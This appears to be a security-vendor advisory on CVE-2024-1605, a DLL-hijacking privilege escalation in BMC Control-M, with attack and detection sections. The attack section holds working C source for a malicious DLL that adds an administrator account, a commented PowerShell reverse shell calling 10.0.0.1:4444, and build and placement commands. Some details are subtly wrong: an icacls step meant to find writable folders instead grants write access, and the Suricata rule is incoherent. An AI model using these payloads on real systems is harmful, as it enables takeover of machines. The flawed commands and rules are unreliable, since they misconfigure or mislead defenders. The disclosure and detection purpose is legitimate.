CVE-2024-1605

Executive Summary

CVE-2024-1605 is a high-severity local privilege escalation vulnerability affecting BMC Control-M versions 9.0.20 and 9.0.21. The vulnerability arises from insecure DLL loading behavior during user login. The application loads all Dynamic Link Libraries (DLLs) from a directory that grants Write and Read permissions to all users. An authenticated attacker with local access can place a malicious DLL in this directory, which will then be loaded by the application with the privileges of the Control-M service, leading to arbitrary code execution and potential system compromise.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary enterprise software vulnerability in BMC Control-M.

CVSS Breakdown & Threat Level

CVSS Score: 6.6 (Medium) Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker needs a valid user account on the system.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): High (H) – Full disclosure of sensitive data is possible.
• Integrity (I): High (H) – Full modification of data is possible.
• Availability (A): High (H) – Full denial of service is possible.

Threat Level: High. While the CVSS score is 6.6, the impact on confidentiality, integrity, and availability is high. The attack complexity is low, and the attacker only needs low privileges. This makes it a significant threat in multi-tenant environments or shared systems.

Deep Dive & Mechanics

The vulnerability is a classic case of Uncontrolled Search Path Element (CWE-427). BMC Control-M, upon user login, loads DLLs from a specific directory. This directory is misconfigured with Write and Read permissions granted to all authenticated users (BUILTIN\Users or Everyone).

Attack Flow:

1. Reconnaissance: An attacker with a low-privileged account on the system identifies the vulnerable directory (e.g., C:\Program Files\BMC Software\Control-M\some_directory).
2. Weaponization: The attacker crafts a malicious DLL that contains code to execute arbitrary commands (e.g., add a user to the local Administrators group, spawn a reverse shell, or exfiltrate data).
3. Delivery: The attacker writes the malicious DLL to the writable directory, naming it to match a DLL that the Control-M application will load (e.g., msvcp140.dll or a custom DLL name).
4. Exploitation: The attacker triggers a login event (e.g., by logging in or waiting for another user to log in). The Control-M application loads the malicious DLL from the writable directory instead of the intended system directory.
5. Execution: The malicious code executes with the privileges of the Control-M service (typically SYSTEM or a high-privileged service account), granting the attacker elevated privileges.

Root Cause: The application does not use absolute paths or safe DLL loading mechanisms (e.g., SetDllDirectory or LoadLibraryEx with LOAD_LIBRARY_SEARCH_SYSTEM32). Instead, it relies on the current working directory or a user-writable path.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Loads DLL from a user-writable directory
HMODULE hModule = LoadLibrary(L"custom.dll");
// The DLL is loaded from the current working directory or a writable path

Patched Code (Conceptual):

// Patched: Uses absolute path and safe search order
SetDllDirectory(L"C:\\Program Files\\BMC Software\\Control-M\\system32");
HMODULE hModule = LoadLibraryEx(L"custom.dll", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);
// Or use a fully qualified path
HMODULE hModule = LoadLibrary(L"C:\\Program Files\\BMC Software\\Control-M\\system32\\custom.dll");

The patch ensures that DLLs are loaded only from secure, application-specific directories with restricted permissions.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A Windows system with BMC Control-M 9.0.20 or 9.0.21 installed.
• A low-privileged user account (e.g., testuser).

Steps:

1. Identify the vulnerable directory:

   # Find directories with weak permissions
   icacls "C:\Program Files\BMC Software\Control-M\*" /grant testuser:(W,R)
   

   Look for directories where testuser has Write and Read permissions.

2. Create a malicious DLL:

   // malicious.cpp
   #include <windows.h>
   #include <stdlib.h>
   
   BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
       if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
           // Execute a command to add a user to Administrators
           system("net localgroup Administrators attacker /add");
           // Or spawn a reverse shell
           // system("powershell -c \"$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");
       }
       return TRUE;
   }
   

   Compile: x86_64-w64-mingw32-gcc -shared -o malicious.dll malicious.cpp

3. Place the DLL:

   copy malicious.dll "C:\Program Files\BMC Software\Control-M\vulnerable_dir\"
   

4. Trigger the exploit:

   • Log in as any user (or wait for a scheduled login).
   • The Control-M service will load the malicious DLL.

5. Verify escalation:

   net localgroup Administrators
   

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor file writes to Control-M directories:

   • Enable auditing on C:\Program Files\BMC Software\Control-M\* for Write events.
   • Alert on any .dll file creation by non-administrative users.

2. Monitor DLL load events:

   • Use Sysmon Event ID 7 (Image loaded) to detect DLLs loaded from unusual paths.
   • Look for DLLs loaded from C:\Program Files\BMC Software\Control-M\* that are not signed by BMC.

3. Check for privilege escalation:

   • Monitor Event ID 4672 (Special Logon) for accounts gaining SeIncreaseQuotaPrivilege or SeTcbPrivilege.
   • Monitor Event ID 4732 (A member was added to a security-enabled local group) for additions to Administrators.

Hunting Query (KQL):

DeviceEvents
| where ActionType == "DllLoaded"
| where FileName endswith ".dll"
| where FolderPath startswith @"C:\Program Files\BMC Software\Control-M\"
| where not (FolderPath contains "system32" or FolderPath contains "syswow64")
| project Timestamp, DeviceName, FileName, FolderPath, InitiatingProcessFileName

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2024_1605_Malicious_DLL {
    meta:
        description = "Detects malicious DLLs targeting CVE-2024-1605 in BMC Control-M"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $s1 = "net localgroup Administrators" ascii wide nocase
        $s2 = "AddUserToAdmin" ascii wide nocase
        $s3 = "ReverseShell" ascii wide nocase
        $s4 = "Control-M" ascii wide nocase
    condition:
        (uint16(0) == 0x5A4D) and  // MZ header
        (any of ($s1, $s2, $s3)) and
        ($s4)
}

Sigma Rule

title: CVE-2024-1605 - Malicious DLL Loaded by BMC Control-M
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects DLL load events from user-writable directories in BMC Control-M installations.
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    category: image_load
detection:
    selection:
        ImageLoaded|startswith: 'C:\Program Files\BMC Software\Control-M\'
        ImageLoaded|endswith: '.dll'
    filter:
        ImageLoaded|contains:
            - 'system32'
            - 'syswow64'
    condition: selection and not filter
falsepositives:
    - Legitimate BMC DLLs in subdirectories (should be signed)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2024-1605 - Potential Reverse Shell from BMC Control-M";
    flow:to_server,established;
    content:"|16 03|"; depth:2; // TLS handshake
    content:"|01|"; offset:5; // Client Hello
    pcre:"/\.(dll|exe|ps1)$/Ui";
    sid:1000001;
    rev:1;
    reference:cve,2024-1605;
)

Remediation & Mitigation

Immediate Actions:

1. Apply the official patch:

   • Upgrade to version 9.0.20.238 (for 9.0.20 branch).
   • Upgrade to version 9.0.21.201 (for 9.0.21 branch).

2. Restrict permissions:

   icacls "C:\Program Files\BMC Software\Control-M\*" /inheritance:r /grant "SYSTEM:(OI)(CI)F" /grant "Administrators:(OI)(CI)F" /grant "BUILTIN\Users:(OI)(CI)R"
   

   Remove Write permissions for non-administrative users.

3. Enable Safe DLL Search Mode:

   • Set registry key HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode to 1.

4. Monitor and audit:

   • Enable advanced audit policies for File System and Process Creation.
   • Use Sysmon to log DLL load events.

Long-term Mitigations:

• Implement application whitelisting (e.g., AppLocker or WDAC) to block unsigned DLLs.
• Use a SIEM to correlate DLL load events with user logins.
• Conduct regular vulnerability scans for Control-M installations.

Valters IT